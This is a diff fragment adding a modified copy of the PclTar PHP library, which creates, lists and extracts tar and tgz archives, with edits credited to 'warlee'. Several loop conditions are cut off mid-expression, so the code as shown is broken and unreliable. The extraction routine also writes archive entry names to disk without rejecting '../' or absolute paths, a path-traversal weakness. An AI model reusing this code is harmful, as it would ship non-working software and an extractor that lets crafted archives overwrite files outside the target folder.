parameters + if ($p_tar == 0) + { + // ----- Error log + PclErrorLog(-3, "Invalid file descriptor in file ".__FILE__.", line ".__LINE__); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Check the arguments + if (sizeof($p_list) == 0) + { + // ----- Error log + PclErrorLog(-3, "Invalid file list parameter (invalid or empty list)"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Loop on the files + for ($j=0; ($j 999)//change by warlee;99=>999 + { + // ----- Error log + PclErrorLog(-5, "File name is too long (max. 99) : '$p_filename'"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + TrFctMessage(__FILE__, __LINE__, 4, "File position before header =".($p_mode=="tar"?ftell($p_tar):gztell($p_tar))); + + // ----- Add the file + if (($v_result = PclTarHandleAddFile($p_tar, $p_filename, $p_mode, $v_header, $p_add_dir, $p_remove_dir)) != 1) + { + // ----- Return status + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + + // ----- Store the file infos + $p_list_detail[$v_nb++] = $v_header; + + // ----- Look for directory + if (is_dir($p_filename)) + { + TrFctMessage(__FILE__, __LINE__, 2, "$p_filename is a directory"); + + // ----- Look for path + if ($p_filename != ".") + $v_path = $p_filename."/"; + else + $v_path = ""; + + // ----- Read the directory for files and sub-directories + $p_hdir = opendir($p_filename); + $p_hitem = readdir($p_hdir); // '.' directory + $p_hitem = readdir($p_hdir); // '..' directory + while ($p_hitem = readdir($p_hdir)) + { + // ----- Look for a file + if (is_file($v_path.$p_hitem)) + { + TrFctMessage(__FILE__, __LINE__, 4, "Add the file '".$v_path.$p_hitem."'"); + + // ----- Add the file + if (($v_result = PclTarHandleAddFile($p_tar, $v_path.$p_hitem, $p_mode, $v_header, $p_add_dir, $p_remove_dir)) != 1) + { + // ----- Return status + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + + // ----- Store the file infos + $p_list_detail[$v_nb++] = $v_header; + } + + // ----- Recursive call to PclTarHandleAddFile() + else + { + TrFctMessage(__FILE__, __LINE__, 4, "'".$v_path.$p_hitem."' is a directory"); + + // ----- Need an array as parameter + $p_temp_list[0] = $v_path.$p_hitem; + $v_result = PclTarHandleAddList($p_tar, $p_temp_list, $p_mode, $p_list_detail, $p_add_dir, $p_remove_dir); + } + } + + // ----- Free memory for the recursive loop + unset($p_temp_list); + unset($p_hdir); + unset($p_hitem); + } + else + { + TrFctMessage(__FILE__, __LINE__, 4, "File position after blocks =".($p_mode=="tar"?ftell($p_tar):gztell($p_tar))); + } + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarHandleAddFile() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function PclTarHandleAddFile($p_tar, $p_filename, $p_mode, &$p_header, $p_add_dir, $p_remove_dir) + { + TrFctStart(__FILE__, __LINE__, "PclTarHandleAddFile", "tar='$p_tar', filename='$p_filename', p_mode='$p_mode', add_dir='$p_add_dir', remove_dir='$p_remove_dir'"); + $v_result=1; + + // ----- Check the parameters + if ($p_tar == 0) + { + // ----- Error log + PclErrorLog(-3, "Invalid file descriptor in file ".__FILE__.", line ".__LINE__); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Skip empty file names + if ($p_filename == "") + { + // ----- Error log + PclErrorLog(-3, "Invalid file list parameter (invalid or empty list)"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Calculate the stored filename + $v_stored_filename = $p_filename; + if ($p_remove_dir != "") + { + if (substr($p_remove_dir, -1) != '/') + $p_remove_dir .= "/"; + + if ((substr($p_filename, 0, 2) == "./") || (substr($p_remove_dir, 0, 2) == "./")) + { + if ((substr($p_filename, 0, 2) == "./") && (substr($p_remove_dir, 0, 2) != "./")) + $p_remove_dir = "./".$p_remove_dir; + if ((substr($p_filename, 0, 2) != "./") && (substr($p_remove_dir, 0, 2) == "./")) + $p_remove_dir = substr($p_remove_dir, 2); + } + + if (substr($p_filename, 0, strlen($p_remove_dir)) == $p_remove_dir) + { + $v_stored_filename = substr($p_filename, strlen($p_remove_dir)); + TrFctMessage(__FILE__, __LINE__, 3, "Remove path '$p_remove_dir' in file '$p_filename' = '$v_stored_filename'"); + } + } + if ($p_add_dir != "") + { + if (substr($p_add_dir, -1) == "/") + $v_stored_filename = $p_add_dir.$v_stored_filename; + else + $v_stored_filename = $p_add_dir."/".$v_stored_filename; + TrFctMessage(__FILE__, __LINE__, 3, "Add path '$p_add_dir' in file '$p_filename' = '$v_stored_filename'"); + } + + //add by warlee; 压缩:设置文件名编码 + if(function_exists('zip_pre_name')){ + $temp_store_name = $v_stored_filename; + $v_stored_filename = zip_pre_name($v_stored_filename,'utf-8'); + if($v_stored_filename == ''){ + $v_stored_filename = $temp_store_name; + } + } + + // ----- Check the path length + if (strlen($v_stored_filename) > 999) //add by warlee; 99=>999 + { + // ----- Error log + PclErrorLog(-5, "Stored file name is too long (max. 99) : '$v_stored_filename'"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Look for a file + if (is_file($p_filename)) + { + // ----- Open the source file + if (($v_file = fopen($p_filename, "rb")) == 0) + { + // ----- Error log + PclErrorLog(-2, "Unable to open file '$p_filename' in binary read mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Call the header generation + if (($v_result = PclTarHandleHeader($p_tar, $p_filename, $p_mode, $p_header, $v_stored_filename)) != 1) + { + // ----- Return status + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + + TrFctMessage(__FILE__, __LINE__, 4, "File position after header =".($p_mode=="tar"?ftell($p_tar):gztell($p_tar))); + + // ----- Read the file by 512 octets blocks + $i=0; + while (($v_buffer = fread($v_file, 512)) != "") + { + $v_binary_data = pack("a512", "$v_buffer"); + if ($p_mode == "tar") + fputs($p_tar, $v_binary_data); + else + gzputs($p_tar, $v_binary_data); + $i++; + } + TrFctMessage(__FILE__, __LINE__, 2, "$i 512 bytes blocks"); + + // ----- Close the file + fclose($v_file); + + TrFctMessage(__FILE__, __LINE__, 4, "File position after blocks =".($p_mode=="tar"?ftell($p_tar):gztell($p_tar))); + } + + // ----- Look for a directory + else + { + // ----- Call the header generation + if (($v_result = PclTarHandleHeader($p_tar, $p_filename, $p_mode, $p_header, $v_stored_filename)) != 1) + { + // ----- Return status + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + + TrFctMessage(__FILE__, __LINE__, 4, "File position after header =".($p_mode=="tar"?ftell($p_tar):gztell($p_tar))); + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarHandleHeader() + // Description : + // This function creates in the TAR $p_tar, the TAR header for the file + // $p_filename. + // + // 1. The informations needed to compose the header are recuperated and formatted + // 2. Two binary strings are composed for the first part of the header, before + // and after checksum field. + // 3. The checksum is calculated from the two binary strings + // 4. The header is write in the tar file (first binary string, binary string + // for checksum and last binary string). + // Parameters : + // $p_tar : a valid file descriptor, opened in write mode, + // $p_filename : The name of the file the header is for, + // $p_mode : The mode of the archive ("tar" or "tgz"). + // $p_header : A pointer to a array where will be set the file properties + // Return Values : + // -------------------------------------------------------------------------------- + function PclTarHandleHeader($p_tar, $p_filename, $p_mode, &$p_header, $p_stored_filename) + { + TrFctStart(__FILE__, __LINE__, "PclTarHandleHeader", "tar=$p_tar, file='$p_filename', mode='$p_mode', stored_filename='$p_stored_filename'"); + $v_result=1; + + // ----- Check the parameters + if (($p_tar == 0) || ($p_filename == "")) + { + // ----- Error log + PclErrorLog(-3, "Invalid file descriptor in file ".__FILE__.", line ".__LINE__); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Filename (reduce the path of stored name) + if ($p_stored_filename == "") + $p_stored_filename = $p_filename; + $v_reduce_filename = PclTarHandlePathReduction($p_stored_filename); + TrFctMessage(__FILE__, __LINE__, 2, "Filename (reduced) '$v_reduce_filename', strlen ".strlen($v_reduce_filename)); + + // ----- Get file info + $v_info = stat($p_filename); + $v_uid = sprintf("%6s ", DecOct($v_info[4])); + $v_gid = sprintf("%6s ", DecOct($v_info[5])); + TrFctMessage(__FILE__, __LINE__, 3, "uid=$v_uid, gid=$v_gid"); + $v_perms = sprintf("%6s ", DecOct(fileperms($p_filename))); + TrFctMessage(__FILE__, __LINE__, 3, "file permissions $v_perms"); + + // ----- File mtime + $v_mtime_data = filemtime($p_filename); + TrFctMessage(__FILE__, __LINE__, 2, "File mtime : $v_mtime_data"); + $v_mtime = sprintf("%11s", DecOct($v_mtime_data)); + + // ----- File typeflag + // '0' or '\0' is the code for regular file + // '5' is directory + if (is_dir($p_filename)) + { + $v_typeflag = "5"; + $v_size = 0; + } + else + { + $v_typeflag = ""; + + // ----- Get the file size + clearstatcache(); + $v_size = filesize($p_filename); + } + + TrFctMessage(__FILE__, __LINE__, 2, "File size : $v_size"); + $v_size = sprintf("%11s ", DecOct($v_size)); + + TrFctMessage(__FILE__, __LINE__, 2, "File typeflag : $v_typeflag"); + + // ----- Linkname + $v_linkname = ""; + + // ----- Magic + $v_magic = ""; + + // ----- Version + $v_version = ""; + + // ----- uname + $v_uname = ""; + + // ----- gname + $v_gname = ""; + + // ----- devmajor + $v_devmajor = ""; + + // ----- devminor + $v_devminor = ""; + + // ----- prefix + $v_prefix = ""; + + // ----- Compose the binary string of the header in two parts arround the checksum position + $v_binary_data_first = pack("a100a8a8a8a12A12", $v_reduce_filename, $v_perms, $v_uid, $v_gid, $v_size, $v_mtime); + $v_binary_data_last = pack("a1a100a6a2a32a32a8a8a155a12", $v_typeflag, $v_linkname, $v_magic, $v_version, $v_uname, $v_gname, $v_devmajor, $v_devminor, $v_prefix, ""); + + // ----- Calculate the checksum + $v_checksum = 0; + // ..... First part of the header + for ($i=0; $i<148; $i++) + { + $v_checksum += ord(substr($v_binary_data_first,$i,1)); + } + // ..... Ignore the checksum value and replace it by ' ' (space) + for ($i=148; $i<156; $i++) + { + $v_checksum += ord(' '); + } + // ..... Last part of the header + for ($i=156, $j=0; $i<512; $i++, $j++) + { + $v_checksum += ord(substr($v_binary_data_last,$j,1)); + } + TrFctMessage(__FILE__, __LINE__, 3, "Calculated checksum : $v_checksum"); + + // ----- Write the first 148 bytes of the header in the archive + if ($p_mode == "tar") + fputs($p_tar, $v_binary_data_first, 148); + else + gzputs($p_tar, $v_binary_data_first, 148); + + // ----- Write the calculated checksum + $v_checksum = sprintf("%6s ", DecOct($v_checksum)); + $v_binary_data = pack("a8", $v_checksum); + if ($p_mode == "tar") + fputs($p_tar, $v_binary_data, 8); + else + gzputs($p_tar, $v_binary_data, 8); + + // ----- Write the last 356 bytes of the header in the archive + if ($p_mode == "tar") + fputs($p_tar, $v_binary_data_last, 356); + else + gzputs($p_tar, $v_binary_data_last, 356); + + // ----- Set the properties in the header "structure" + $p_header[filename] = $v_reduce_filename; + $p_header[mode] = $v_perms; + $p_header[uid] = $v_uid; + $p_header[gid] = $v_gid; + $p_header[size] = $v_size; + $p_header[mtime] = $v_mtime; + $p_header[typeflag] = $v_typeflag; + $p_header[status] = "added"; + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarHandleFooter() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function PclTarHandleFooter($p_tar, $p_mode) + { + TrFctStart(__FILE__, __LINE__, "PclTarHandleFooter", "tar='$p_tar', p_mode=$p_mode"); + $v_result=1; + + // ----- Write the last 0 filled block for end of archive + $v_binary_data = pack("a512", ""); + if ($p_mode == "tar") + fputs($p_tar, $v_binary_data); + else + gzputs($p_tar, $v_binary_data); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarHandleExtract() + // Description : + // Parameters : + // $p_tarname : Filename of the tar (or tgz) archive + // $p_file_list : An array which contains the list of files to extract, this + // array may be empty when $p_mode is 'complete' + // $p_list_detail : An array where will be placed the properties of each extracted/listed file + // $p_mode : 'complete' will extract all files from the archive, + // 'partial' will look for files in $p_file_list + // 'list' will only list the files from the archive without any extract + // $p_path : Path to add while writing the extracted files + // $p_tar_mode : 'tar' for GNU TAR archive, 'tgz' for compressed archive + // $p_remove_path : Path to remove (from the file memorized path) while writing the + // extracted files. If the path does not match the file path, + // the file is extracted with its memorized path. + // $p_remove_path does not apply to 'list' mode. + // $p_path and $p_remove_path are commulative. + // Return Values : + // -------------------------------------------------------------------------------- + function PclTarHandleExtract($p_tarname, $p_file_list, &$p_list_detail, $p_mode, $p_path, $p_tar_mode, $p_remove_path) + { + TrFctStart(__FILE__, __LINE__, "PclTarHandleExtract", "archive='$p_tarname', list, mode=$p_mode, path=$p_path, tar_mode=$p_tar_mode, remove_path='$p_remove_path'"); + $v_result=1; + $v_nb = 0; + $v_extract_all = TRUE; + $v_listing = FALSE; + + // ----- Check the path +// if (($p_path == "") || ((substr($p_path, 0, 1) != "/") && (substr($p_path, 0, 3) != "../"))) +// $p_path = "./".$p_path; +// var_dump($p_path); changed by warlee; + + + // ----- Look for path to remove format (should end by /) + if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/')) + { + $p_remove_path .= '/'; + } + $p_remove_path_size = strlen($p_remove_path); + + // ----- Study the mode + switch ($p_mode) { + case "complete" : + // ----- Flag extract of all files + $v_extract_all = TRUE; + $v_listing = FALSE; + break; + case "partial" : + // ----- Flag extract of specific files + $v_extract_all = FALSE; + $v_listing = FALSE; + break; + case "list" : + // ----- Flag list of all files + $v_extract_all = FALSE; + $v_listing = TRUE; + break; + default : + // ----- Error log + PclErrorLog(-3, "Invalid extract mode ($p_mode)"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Open the tar file + if ($p_tar_mode == "tar") + { + TrFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode"); + $v_tar = fopen($p_tarname, "rb"); + } + else + { + TrFctMessage(__FILE__, __LINE__, 3, "Open file in gzip binary read mode"); + $v_tar = @gzopen($p_tarname, "rb"); + } + + // ----- Check that the archive is open + if ($v_tar == 0) + { + // ----- Error log + PclErrorLog(-2, "Unable to open archive '$p_tarname' in binary read mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Read the blocks + While (!($v_end_of_file = ($p_tar_mode == "tar"?feof($v_tar):gzeof($v_tar)))) + { + TrFctMessage(__FILE__, __LINE__, 3, "Looking for next header ..."); + + // ----- Clear cache of file infos + clearstatcache(); + + // ----- Reset extract tag + $v_extract_file = FALSE; + $v_extraction_stopped = 0; + + // ----- Read the 512 bytes header + if ($p_tar_mode == "tar") + $v_binary_data = fread($v_tar, 512); + else + $v_binary_data = gzread($v_tar, 512); + + // ----- Read the header properties + if (($v_result = PclTarHandleReadHeader($v_binary_data, $v_header)) != 1) + { + // ----- Close the archive file + if ($p_tar_mode == "tar") + fclose($v_tar); + else + gzclose($v_tar); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + + // ----- Look for empty blocks to skip + if ($v_header[filename] == "") + { + TrFctMessage(__FILE__, __LINE__, 2, "Empty block found. End of archive ?"); + continue; + } + + TrFctMessage(__FILE__, __LINE__, 2, "Found file '$v_header[filename]', size '$v_header[size]'"); + + + //add by warlee;解压 设置编码 + if(!$v_listing){ + if(function_exists('unzip_pre_name')){ + if( $v_header['typeflag'] == 'x'|| + $v_header['typeflag'] == 'g'){ + $v_header['typeflag'] = '-10';//不解压;设置成文件夹类型 + } + $v_header['filename'] = unzip_pre_name($v_header['filename']); + } + //echo "
    ";var_dump(22,$v_header);echo "
    "; + } + + // ----- Look for partial extract + if ((!$v_extract_all) && (is_array($p_file_list))) + { + TrFctMessage(__FILE__, __LINE__, 2, "Look if the file '$v_header[filename]' need to be extracted"); + // ----- By default no unzip if the file is not found + $v_extract_file = FALSE; + // ----- Look into the file list + for ($i=0; $i strlen($p_file_list[$i])) && (substr($v_header[filename], 0, strlen($p_file_list[$i])) == $p_file_list[$i])) + { + // ----- The file is in the directory, so extract it + TrFctMessage(__FILE__, __LINE__, 2, "File '$v_header[filename]' is in directory '$p_file_list[$i]' : extract it"); + $v_extract_file = TRUE; + + // ----- End of loop + break; + } + } + + // ----- It is a file, so compare the file names + else if ($p_file_list[$i] == $v_header[filename]) + { + // ----- File found + TrFctMessage(__FILE__, __LINE__, 2, "File '$v_header[filename]' should be extracted"); + $v_extract_file = TRUE; + + // ----- End of loop + break; + } + + + } + + // ----- Trace + if (!$v_extract_file) + { + TrFctMessage(__FILE__, __LINE__, 2, "File '$v_header[filename]' should not be extracted"); + } + } + else + { + // ----- All files need to be extracted + $v_extract_file = TRUE; + } + + // ----- Look if this file need to be extracted + if (($v_extract_file) && (!$v_listing)) + { + // ----- Look for path to remove + if (($p_remove_path != "") + && (substr($v_header[filename], 0, $p_remove_path_size) == $p_remove_path)) + { + TrFctMessage(__FILE__, __LINE__, 3, "Found path '$p_remove_path' to remove in file '$v_header[filename]'"); + // ----- Remove the path + $v_header[filename] = substr($v_header[filename], $p_remove_path_size); + TrFctMessage(__FILE__, __LINE__, 3, "Reslting file is '$v_header[filename]'"); + } + + // ----- Add the path to the file + if (($p_path != "./") && ($p_path != "/")) + { + // ----- Look for the path end '/' + while (substr($p_path, -1) == "/") + { + TrFctMessage(__FILE__, __LINE__, 3, "Destination path [$p_path] ends by '/'"); + $p_path = substr($p_path, 0, strlen($p_path)-1); + TrFctMessage(__FILE__, __LINE__, 3, "Modified to [$p_path]"); + } + + // ----- Add the path + if (substr($v_header[filename], 0, 1) == "/") + $v_header[filename] = $p_path.$v_header[filename]; + else + $v_header[filename] = $p_path."/".$v_header[filename]; + } + + // ----- Trace + TrFctMessage(__FILE__, __LINE__, 2, "Extracting file (with path) '$v_header[filename]', size '$v_header[size]'"); + + // ----- Check that the file does not exists + if (file_exists($v_header[filename])) + { + TrFctMessage(__FILE__, __LINE__, 2, "File '$v_header[filename]' already exists"); + + // ----- Look if file is a directory + if (is_dir($v_header[filename])) + { + TrFctMessage(__FILE__, __LINE__, 2, "Existing file '$v_header[filename]' is a directory"); + + // ----- Change the file status + $v_header[status] = "already_a_directory"; + + // ----- Skip the extract + $v_extraction_stopped = 1; + $v_extract_file = 0; + } + // ----- Look if file is write protected + else if (!is_writeable($v_header[filename])) + { + TrFctMessage(__FILE__, __LINE__, 2, "Existing file '$v_header[filename]' is write protected"); + + // ----- Change the file status + $v_header[status] = "write_protected"; + + // ----- Skip the extract + $v_extraction_stopped = 1; + $v_extract_file = 0; + } + // ----- Look if the extracted file is older + else if (filemtime($v_header[filename]) > $v_header[mtime]) + { + TrFctMessage(__FILE__, __LINE__, 2, "Existing file '$v_header[filename]' is newer (".date("l dS of F Y h:i:s A", filemtime($v_header[filename])).") than the extracted file (".date("l dS of F Y h:i:s A", $v_header[mtime]).")"); + + // ----- Change the file status + $v_header[status] = "newer_exist"; + + // ----- Skip the extract + $v_extraction_stopped = 1; + $v_extract_file = 0; + } + } + + // ----- Check the directory availability and create it if necessary + else + { + if ($v_header[typeflag]=="5") + $v_dir_to_check = $v_header[filename]; + else if (!strstr($v_header[filename], "/")) + $v_dir_to_check = ""; + else + $v_dir_to_check = dirname($v_header[filename]); + + //changed by warlee; 解压新建目录;不建立tar下的PaxHeader临时目录 + if( $v_header['typeflag'] == '-10' || $v_header['typeflag'] == 'g'){ + $v_dir_to_check=""; + } + + if (($v_result = PclTarHandlerDirCheck($v_dir_to_check)) != 1) + { + TrFctMessage(__FILE__, __LINE__, 2, "Unable to create path for '$v_header[filename]'"); + + // ----- Change the file status + $v_header[status] = "path_creation_fail"; + + // ----- Skip the extract + $v_extraction_stopped = 1; + $v_extract_file = 0; + } + } + // ----- Do the extraction + if (($v_extract_file) && ($v_header[typeflag]!="5") && ($v_header[typeflag]!="-10")) + //changed by warlee; add $v_header[typeflag] + { + // ----- Open the destination file in write mode + if (($v_dest_file = @fopen($v_header[filename], "wb")) == 0) + { + TrFctMessage(__FILE__, __LINE__, 2, "Error while opening '$v_header[filename]' in write binary mode"); + + // ----- Change the file status + $v_header[status] = "write_error"; + + // ----- Jump to next file + TrFctMessage(__FILE__, __LINE__, 2, "Jump to next file"); + if ($p_tar_mode == "tar") + fseek($v_tar, ftell($v_tar)+(ceil(($v_header[size]/512))*512)); + else + gzseek($v_tar, gztell($v_tar)+(ceil(($v_header[size]/512))*512)); + } + else + { + TrFctMessage(__FILE__, __LINE__, 2, "Start extraction of '$v_header[filename]'"); + + // ----- Read data + $n = floor($v_header[size]/512); + for ($i=0; $i<$n; $i++) + { + TrFctMessage(__FILE__, __LINE__, 3, "Read complete 512 bytes block number ".($i+1)); + if ($p_tar_mode == "tar") + $v_content = fread($v_tar, 512); + else + $v_content = gzread($v_tar, 512); + fwrite($v_dest_file, $v_content, 512); + } + if (($v_header[size] % 512) != 0) + { + TrFctMessage(__FILE__, __LINE__, 3, "Read last ".($v_header[size] % 512)." bytes in a 512 block"); + if ($p_tar_mode == "tar") + $v_content = fread($v_tar, 512); + else + $v_content = gzread($v_tar, 512); + fwrite($v_dest_file, $v_content, ($v_header[size] % 512)); + } + + // ----- Close the destination file + fclose($v_dest_file); + + // ----- Change the file mode, mtime + touch($v_header[filename], $v_header[mtime]); + //chmod($v_header[filename], DecOct($v_header[mode])); + } + + // ----- Check the file size + clearstatcache(); + //changed by warlee; 大小对比时查看是否存在 + if (file_exists($v_header[filename]) && filesize($v_header[filename]) != $v_header[size]) + { + // ----- Close the archive file + if ($p_tar_mode == "tar") + fclose($v_tar); + else + gzclose($v_tar); + + // ----- Error log + PclErrorLog(-7, "Extracted file '$v_header[filename]' does not have the correct file size '".filesize($v_filename)."' ('$v_header[size]' expected). Archive may be corrupted."); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Trace + TrFctMessage(__FILE__, __LINE__, 2, "Extraction done"); + } + + else + { + TrFctMessage(__FILE__, __LINE__, 2, "Extraction of file '$v_header[filename]' skipped."); + + // ----- Jump to next file + TrFctMessage(__FILE__, __LINE__, 2, "Jump to next file"); + if ($p_tar_mode == "tar") + fseek($v_tar, ftell($v_tar)+(ceil(($v_header[size]/512))*512)); + else + gzseek($v_tar, gztell($v_tar)+(ceil(($v_header[size]/512))*512)); + } + } + + // ----- Look for file that is not to be unzipped + else + { + // ----- Trace + TrFctMessage(__FILE__, __LINE__, 2, "Jump file '$v_header[filename]'"); + TrFctMessage(__FILE__, __LINE__, 4, "Position avant jump [".($p_tar_mode=="tar"?ftell($v_tar):gztell($v_tar))."]"); + + // ----- Jump to next file + if ($p_tar_mode == "tar") + fseek($v_tar, ($p_tar_mode=="tar"?ftell($v_tar):gztell($v_tar))+(ceil(($v_header[size]/512))*512)); + else + gzseek($v_tar, gztell($v_tar)+(ceil(($v_header[size]/512))*512)); + + TrFctMessage(__FILE__, __LINE__, 4, "Position après jump [".($p_tar_mode=="tar"?ftell($v_tar):gztell($v_tar))."]"); + } + + if ($p_tar_mode == "tar") + $v_end_of_file = feof($v_tar); + else + $v_end_of_file = gzeof($v_tar); + + // ----- File name and properties are logged if listing mode or file is extracted + if ($v_listing || $v_extract_file || $v_extraction_stopped) + { + TrFctMessage(__FILE__, __LINE__, 2, "Memorize info about file '$v_header[filename]'"); + + // ----- Log extracted files + if (($v_file_dir = dirname($v_header[filename])) == $v_header[filename]) + $v_file_dir = ""; + if ((substr($v_header[filename], 0, 1) == "/") && ($v_file_dir == "")) + $v_file_dir = "/"; + + // ----- Add the array describing the file into the list + $p_list_detail[$v_nb] = $v_header; + + // ----- Increment + $v_nb++; + } + } + + // ----- Close the tarfile + if ($p_tar_mode == "tar") + fclose($v_tar); + else + gzclose($v_tar); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarHandleExtractByIndexList() + // Description : + // Extract the files which are at the indexes specified. If the 'file' at the + // index is a directory, the directory only is created, not all the files stored + // for that directory. + // Parameters : + // $p_index_string : String of indexes of files to extract. The form of the + // string is "0,4-6,8-12" with only numbers and '-' for + // for range, and ',' to separate ranges. No spaces or ';' + // are allowed. + // Return Values : + // -------------------------------------------------------------------------------- + function PclTarHandleExtractByIndexList($p_tarname, $p_index_string, &$p_list_detail, $p_path, $p_remove_path, $p_tar_mode) + { + TrFctStart(__FILE__, __LINE__, "PclTarHandleExtractByIndexList", "archive='$p_tarname', index_string='$p_index_string', list, path=$p_path, remove_path='$p_remove_path', tar_mode=$p_tar_mode"); + $v_result=1; + $v_nb = 0; + + // ----- TBC : I should check the string by a regexp + + // ----- Check the path + if (($p_path == "") || ((substr($p_path, 0, 1) != "/") && (substr($p_path, 0, 3) != "../") && (substr($p_path, 0, 2) != "./"))) + $p_path = "./".$p_path; + + // ----- Look for path to remove format (should end by /) + if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/')) + { + $p_remove_path .= '/'; + } + $p_remove_path_size = strlen($p_remove_path); + + // ----- Open the tar file + if ($p_tar_mode == "tar") + { + TrFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode"); + $v_tar = @fopen($p_tarname, "rb"); + } + else + { + TrFctMessage(__FILE__, __LINE__, 3, "Open file in gzip binary read mode"); + $v_tar = @gzopen($p_tarname, "rb"); + } + + // ----- Check that the archive is open + if ($v_tar == 0) + { + // ----- Error log + PclErrorLog(-2, "Unable to open archive '$p_tarname' in binary read mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Manipulate the index list + $v_list = explode(",", $p_index_string); + sort($v_list); + + // ----- Loop on the index list + $v_index=0; + for ($i=0; ($i $p_index_stop) + { + TrFctMessage(__FILE__, __LINE__, 2, "Stop extraction, past stop index"); + break; + } + + // ----- Clear cache of file infos + clearstatcache(); + + // ----- Reset extract tag + $v_extract_file = FALSE; + $v_extraction_stopped = 0; + + // ----- Read the 512 bytes header + if ($p_tar_mode == "tar") + $v_binary_data = fread($v_tar, 512); + else + $v_binary_data = gzread($v_tar, 512); + + // ----- Read the header properties + if (($v_result = PclTarHandleReadHeader($v_binary_data, $v_header)) != 1) + { + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + + // ----- Look for empty blocks to skip + if ($v_header[filename] == "") + { + TrFctMessage(__FILE__, __LINE__, 2, "Empty block found. End of archive ?"); + continue; + } + + TrFctMessage(__FILE__, __LINE__, 2, "Found file '$v_header[filename]', size '$v_header[size]'"); + + // ----- Look if file is in the range to be extracted + if (($p_index_current >= $p_index_start) && ($p_index_current <= $p_index_stop)) + { + TrFctMessage(__FILE__, __LINE__, 2, "File '$v_header[filename]' is in the range to be extracted"); + $v_extract_file = TRUE; + } + else + { + TrFctMessage(__FILE__, __LINE__, 2, "File '$v_header[filename]' is out of the range"); + $v_extract_file = FALSE; + } + + // ----- Look if this file need to be extracted + if ($v_extract_file) + { + if (($v_result = PclTarHandleExtractFile($v_tar, $v_header, $p_path, $p_remove_path, $p_tar_mode)) != 1) + { + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + } + + // ----- Look for file that is not to be extracted + else + { + // ----- Trace + TrFctMessage(__FILE__, __LINE__, 2, "Jump file '$v_header[filename]'"); + TrFctMessage(__FILE__, __LINE__, 4, "Position avant jump [".($p_tar_mode=="tar"?ftell($v_tar):gztell($v_tar))."]"); + + // ----- Jump to next file + if ($p_tar_mode == "tar") + fseek($v_tar, ($p_tar_mode=="tar"?ftell($v_tar):gztell($v_tar))+(ceil(($v_header[size]/512))*512)); + else + gzseek($v_tar, gztell($v_tar)+(ceil(($v_header[size]/512))*512)); + + TrFctMessage(__FILE__, __LINE__, 4, "Position après jump [".($p_tar_mode=="tar"?ftell($v_tar):gztell($v_tar))."]"); + } + + if ($p_tar_mode == "tar") + $v_end_of_file = feof($v_tar); + else + $v_end_of_file = gzeof($v_tar); + + // ----- File name and properties are logged if listing mode or file is extracted + if ($v_extract_file) + { + TrFctMessage(__FILE__, __LINE__, 2, "Memorize info about file '$v_header[filename]'"); + + // ----- Log extracted files + if (($v_file_dir = dirname($v_header[filename])) == $v_header[filename]) + $v_file_dir = ""; + if ((substr($v_header[filename], 0, 1) == "/") && ($v_file_dir == "")) + $v_file_dir = "/"; + + // ----- Add the array describing the file into the list + $p_list_detail[$v_nb] = $v_header; + + // ----- Increment + $v_nb++; + } + + // ----- Increment the current file index + $p_index_current++; + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarHandleExtractFile() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function PclTarHandleExtractFile($p_tar, &$v_header, $p_path, 